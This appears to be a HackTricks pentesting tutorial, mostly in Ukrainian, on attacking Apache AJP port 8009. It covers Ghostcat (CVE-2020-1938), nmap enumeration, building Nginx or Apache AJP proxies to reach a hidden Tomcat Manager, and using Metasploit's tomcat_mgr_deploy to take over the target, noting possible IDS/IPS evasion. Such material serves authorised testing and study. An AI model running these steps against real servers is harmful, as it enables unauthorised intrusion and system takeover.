12 KiB
8009 - Pentesting Apache JServ Protocol (AJP)
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights
Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates
Join us on Discord and start collaborating with top hackers today!
Basic Information
From: https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/
AJP - це протокол передачі даних. Це оптимізована версія протоколу HTTP, що дозволяє автономному веб-серверу, такому як Apache, спілкуватися з Tomcat. Історично, Apache був значно швидшим за Tomcat у обслуговуванні статичного контенту. Ідея полягає в тому, щоб дозволити Apache обслуговувати статичний контент, коли це можливо, але проксувати запит до Tomcat для контенту, пов'язаного з Tomcat.
Також цікаво:
Протокол ajp13 орієнтований на пакети. Бінарний формат, ймовірно, був обраний замість більш читабельного простого тексту з причин продуктивності. Веб-сервер спілкується з контейнером сервлетів через TCP-з'єднання. Щоб зменшити витрати на створення сокетів, веб-сервер намагатиметься підтримувати постійні TCP-з'єднання з контейнером сервлетів і повторно використовувати з'єднання для кількох циклів запит/відповідь.
Default port: 8009
PORT STATE SERVICE
8009/tcp open ajp13
CVE-2020-1938 'Ghostcat'
Якщо порт AJP відкритий, Tomcat може бути вразливим до уразливості Ghostcat. Ось експлойт, який працює з цією проблемою.
Ghostcat є уразливістю LFI, але дещо обмеженою: можна отримати лише файли з певного шляху. Проте, це може включати файли, такі як WEB-INF/web.xml
, які можуть витікати важливу інформацію, таку як облікові дані для інтерфейсу Tomcat, залежно від налаштувань сервера.
Виправлені версії на рівні 9.0.31, 8.5.51 та 7.0.100 усунули цю проблему.
Enumeration
Automatic
nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>
Brute force
AJP Proxy
Nginx Reverse Proxy & AJP
Коли ми натрапляємо на відкритий порт AJP проксі (8009 TCP), ми можемо використовувати Nginx з ajp_module
, щоб отримати доступ до "прихованого" Tomcat Manager. Це можна зробити, скомпілювавши вихідний код Nginx і додавши необхідний модуль, наступним чином:
- Завантажте вихідний код Nginx
- Завантажте необхідний модуль
- Скомпіліруйте вихідний код Nginx з
ajp_module
. - Створіть файл конфігурації, що вказує на порт AJP
# Download Nginx code
wget https://nginx.org/download/nginx-1.21.3.tar.gz
tar -xzvf nginx-1.21.3.tar.gz
# Compile Nginx source code with the ajp module
git clone https://github.com/dvershinin/nginx_ajp_module.git
cd nginx-1.21.3
sudo apt install libpcre3-dev
./configure --add-module=`pwd`/../nginx_ajp_module --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules
make
sudo make install
nginx -V
Закоментуйте весь блок server
і додайте наступні рядки всередині блоку http
у файлі /etc/nginx/conf/nginx.conf
.
upstream tomcats {
server <TARGET_SERVER>:8009;
keepalive 10;
}
server {
listen 80;
location / {
ajp_keep_conn on;
ajp_pass tomcats;
}
}
Запустіть Nginx і перевірте, чи все працює правильно, надіславши запит cURL до вашого локального хоста.
sudo nginx
curl http://127.0.0.1:80
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Apache Tomcat/X.X.XX</title>
<link href="favicon.ico" rel="icon" type="image/x-icon" />
<link href="favicon.ico" rel="shortcut icon" type="image/x-icon" />
<link href="tomcat.css" rel="stylesheet" type="text/css" />
</headas
<body>
<div id="wrapper">
<div id="navigation" class="curved container">
<span id="nav-home"><a href="https://tomcat.apache.org/">Home</a></span>
<span id="nav-hosts"><a href="/docs/">Documentation</a></span>
<span id="nav-config"><a href="/docs/config/">Configuration</a></span>
<span id="nav-examples"><a href="/examples/">Examples</a></span>
<span id="nav-wiki"><a href="https://wiki.apache.org/tomcat/FrontPage">Wiki</a></span>
<span id="nav-lists"><a href="https://tomcat.apache.org/lists.html">Mailing Lists</a></span>
<span id="nav-help"><a href="https://tomcat.apache.org/findhelp.html">Find Help</a></span>
<br class="separator" />
</div>
<div id="asf-box">
<h1>Apache Tomcat/X.X.XX</h1>
</div>
<div id="upper" class="curved container">
<div id="congrats" class="curved container">
<h2>If you're seeing this, you've successfully installed Tomcat. Congratulations!</h2>
<SNIP>
Nginx Dockerized-version
git clone https://github.com/ScribblerCoder/nginx-ajp-docker
cd nginx-ajp-docker
Замініть TARGET-IP
в nginx.conf
на AJP IP, а потім збудуйте та запустіть.
docker build . -t nginx-ajp-proxy
docker run -it --rm -p 80:80 nginx-ajp-proxy
Apache AJP Proxy
Зустріти відкритий порт 8009 без інших доступних веб-портів рідко. Однак, все ще можливо експлуатувати його, використовуючи Metasploit. Використовуючи Apache як проксі, запити можна перенаправити на Tomcat на порту 8009.
sudo apt-get install libapache2-mod-jk
sudo vim /etc/apache2/apache2.conf # append the following line to the config
Include ajp.conf
sudo vim /etc/apache2/ajp.conf # create the following file, change HOST to the target address
ProxyRequests Off
<Proxy *>
Order deny,allow
Deny from all
Allow from localhost
</Proxy>
ProxyPass / ajp://HOST:8009/
ProxyPassReverse / ajp://HOST:8009/
sudo a2enmod proxy_http
sudo a2enmod proxy_ajp
sudo systemctl restart apache2
Ця конфігурація пропонує можливість обійти системи виявлення та запобігання вторгненням (IDS/IPS) через бінарну природу протоколу AJP, хоча ця можливість не була перевірена. Направивши звичайний експлойт Metasploit Tomcat на 127.0.0.1:80
, ви можете ефективно захопити контроль над цільовою системою.
msf exploit(tomcat_mgr_deploy) > show options
Посилання
- https://github.com/yaoweibin/nginx_ajp_module
- https://academy.hackthebox.com/module/145/section/1295
Приєднуйтесь до HackenProof Discord сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
Інсайти з хакінгу
Залучайтеся до контенту, який занурюється в захоплення та виклики хакінгу
Новини про хакінг у реальному часі
Будьте в курсі швидкоплинного світу хакінгу через новини та інсайти в реальному часі
Останні оголошення
Залишайтеся в курсі нових програм винагород за вразливості та важливих оновлень платформ
Приєднуйтесь до нас на Discord і почніть співпрацювати з провідними хакерами вже сьогодні!
{% hint style="success" %}
Вчіться та практикуйте хакінг AWS:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте хакінг GCP: HackTricks Training GCP Red Team Expert (GRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи в телеграмі або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.